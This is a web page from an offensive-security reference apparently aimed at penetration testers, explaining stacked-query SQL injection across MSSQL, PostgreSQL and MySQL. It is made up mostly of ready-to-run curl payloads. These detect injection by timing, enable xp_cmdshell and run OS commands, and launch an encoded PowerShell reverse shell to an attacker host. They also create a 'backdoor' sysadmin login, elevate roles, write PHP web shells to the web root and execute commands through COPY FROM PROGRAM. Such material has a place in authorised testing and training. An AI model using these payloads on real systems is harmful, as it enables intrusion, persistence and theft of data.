# Stacked Queries SQLi

> Leverage stacked query SQLi to execute multiple SQL statements in sequence, enabling data exfiltration, schema enumeration, and command execution via HTTP.

- **URL:** https://hackindex.io/services/web/exploitation/sql-injection/stacked-queries-sqli
- **Path:** HTTP/HTTPS > Exploitation > SQL Injection Exploitation
- **Up:** [SQL Injection Exploitation](https://hackindex.io/services/web/exploitation/sql-injection.md)
- **Published:** 2026-09-13
- **Updated:** 2026-09-13

Stacked queries allow executing multiple SQL statements in a single injection point by separating them with a semicolon (`;`). Unlike other [SQLi techniques](https://hackindex.io/services/web/exploitation/sql-injection) that modify an existing query, stacked queries can run entirely new statements: INSERT, UPDATE, DELETE, CREATE, and database-specific commands like enabling `xp_cmdshell`. This makes them the most powerful injection type when supported, but driver and database compatibility varies significantly. For escalating to OS command execution, see [SQLi to RCE](https://hackindex.io/services/web/exploitation/sql-injection/sqli-to-rce).

## Database Support

Stacked query support depends on both the database engine and the application's database driver. The semicolon separator must be processed by the driver, not just the database.

| Database | Driver / API | Stacked Queries |
| --- | --- | --- |
| MSSQL | Most drivers (ODBC, ADO, FreeTDS) | Supported by default |
| MSSQL | SQLSRV (PHP) | Supported by default |
| PostgreSQL | libpq (native) | Supported by default |
| PostgreSQL | PDO (PHP) | Supported by default |
| MySQL | mysqli (PHP) | Not supported (single query only) |
| MySQL | PDO with ATTR_EMULATE_PREPARES | Supported when emulation enabled |
| MySQL | MySQL Connector (Python) | Supported with multi=True |
| Oracle | OCI8 | Generally not supported |
| SQLite | sqlite3 (Python) | Supported via executescript() |

MSSQL is the primary target for stacked queries. Nearly every MSSQL driver processes semicolons natively. PostgreSQL supports them through libpq and most wrappers. MySQL support is rare in web applications because the default `mysqli` driver only executes a single statement per call.

## Detection

Test for stacked query support using time-based payloads. If the injected sleep executes, the driver processes the second statement.

**MSSQL detection**

```bash
curl -sk -o /dev/null -w '%{time_total}' "http://$TARGET_IP:$PORT/index.php?id=1;WAITFOR DELAY '0:0:5'--"
# 5.124
```

**PostgreSQL detection**

```bash
curl -sk -o /dev/null -w '%{time_total}' "http://$TARGET_IP:$PORT/index.php?id=1;SELECT pg_sleep(5)--"
# 5.089
```

**MySQL detection (rare, PDO emulated prepares)**

```bash
curl -sk -o /dev/null -w '%{time_total}' "http://$TARGET_IP:$PORT/index.php?id=1;SELECT SLEEP(5)-- -"
# 5.071
```

A response time around 5 seconds confirms support. Compare against the normal response time baseline. If the response returns immediately, the driver does not support stacked queries and you need a different technique.

## MSSQL Stacked Queries

MSSQL is the ideal target for stacked queries. Most MSSQL web applications use drivers that support semicolons natively, and MSSQL has powerful system stored procedures accessible through injection.

### Enable xp_cmdshell

`xp_cmdshell` executes operating system commands from SQL Server. It is disabled by default on SQL Server 2005+ but can be re-enabled through `sp_configure` if the database user has sysadmin privileges.

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1;EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE--"
```

**Execute OS commands**

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1;EXEC xp_cmdshell 'whoami'--"
# nt service\mssqlserver
```

### Reverse Shell via xp_cmdshell

With command execution confirmed, use `xp_cmdshell` to download and execute a reverse shell payload or call PowerShell directly.

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1;EXEC xp_cmdshell 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAJABMAEgATwBTAFQAIgAsACQATABQAE8AUgBUACkA'--"
```

### Create Database Users

If `xp_cmdshell` is not available or the goal is persistence through database access, create a new SQL login with sysadmin privileges.

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1;CREATE LOGIN backdoor WITH PASSWORD='P@ssw0rd123';EXEC sp_addsrvrolemember 'backdoor','sysadmin'--"
```

### Data Modification

Stacked queries allow modifying application data directly. This can be used to escalate privileges within the application by changing a user's role.

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1;UPDATE webapp.dbo.users SET role='admin' WHERE username='guest'--"
```

## PostgreSQL Stacked Queries

PostgreSQL supports stacked queries through libpq and most drivers. While it lacks `xp_cmdshell`, PostgreSQL has its own set of powerful features accessible through stacked injection.

### Data Staging with CREATE TABLE

Create a temporary table to stage extracted data, then read it through the original injection point using UNION or error-based techniques.

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1;CREATE TABLE staging(output text);INSERT INTO staging SELECT username||':'||password FROM users--"
```

### File Write with COPY

Write files to the server filesystem using `COPY ... TO`. Requires the PostgreSQL process to have write access to the target directory. Useful for writing web shells when the web root path is known.

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1;COPY (SELECT '<?php system(\$_GET["cmd"]); ?>') TO '/var/www/html/shell.php'--"
```

### Privilege Changes

If the current database user is a superuser, modify roles to grant additional access.

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1;ALTER ROLE webapp_user SUPERUSER--"
```

### Command Execution via COPY PROGRAM

PostgreSQL 9.3+ supports `COPY ... FROM PROGRAM` which executes an OS command and reads its output into a table. Requires superuser privileges.

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1;CREATE TABLE cmd_output(line text);COPY cmd_output FROM PROGRAM 'id'--"
```

## MySQL Stacked Queries

MySQL stacked query support is uncommon in web applications. The default `mysqli` extension in PHP only processes the first statement and silently ignores everything after the semicolon. Stacked queries work only with specific driver configurations.

The main scenario where MySQL accepts stacked queries in web apps is PDO with `ATTR_EMULATE_PREPARES` enabled (the default before PHP 8.0 when using certain MySQL libraries). Python's `mysql-connector-python` supports it with the `multi=True` parameter on `cursor.execute()`.

When supported, MySQL stacked queries are more limited than MSSQL or PostgreSQL since MySQL lacks built-in OS command execution. Practical uses include:

**Modify application data**

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1;UPDATE users SET role='admin' WHERE username='guest'-- -"
```

**Write a web shell via SELECT INTO OUTFILE**

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1;SELECT '<?php system(\$_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'-- -"
```

`INTO OUTFILE` requires the MySQL `FILE` privilege and `secure_file_priv` must allow the target directory (or be empty). This privilege is commonly disabled in production environments.

## References

- [PortSwigger: SQL Injection Cheat Sheet](https://portswigger.net/web-security/sql-injection/cheat-sheet) - Comprehensive SQL injection syntax reference covering stacked queries across databases.
- [HackTricks: SQL Injection](https://book.hacktricks.wiki/en/pentesting-web/sql-injection/index.html) - SQL injection techniques and database-specific attack vectors.
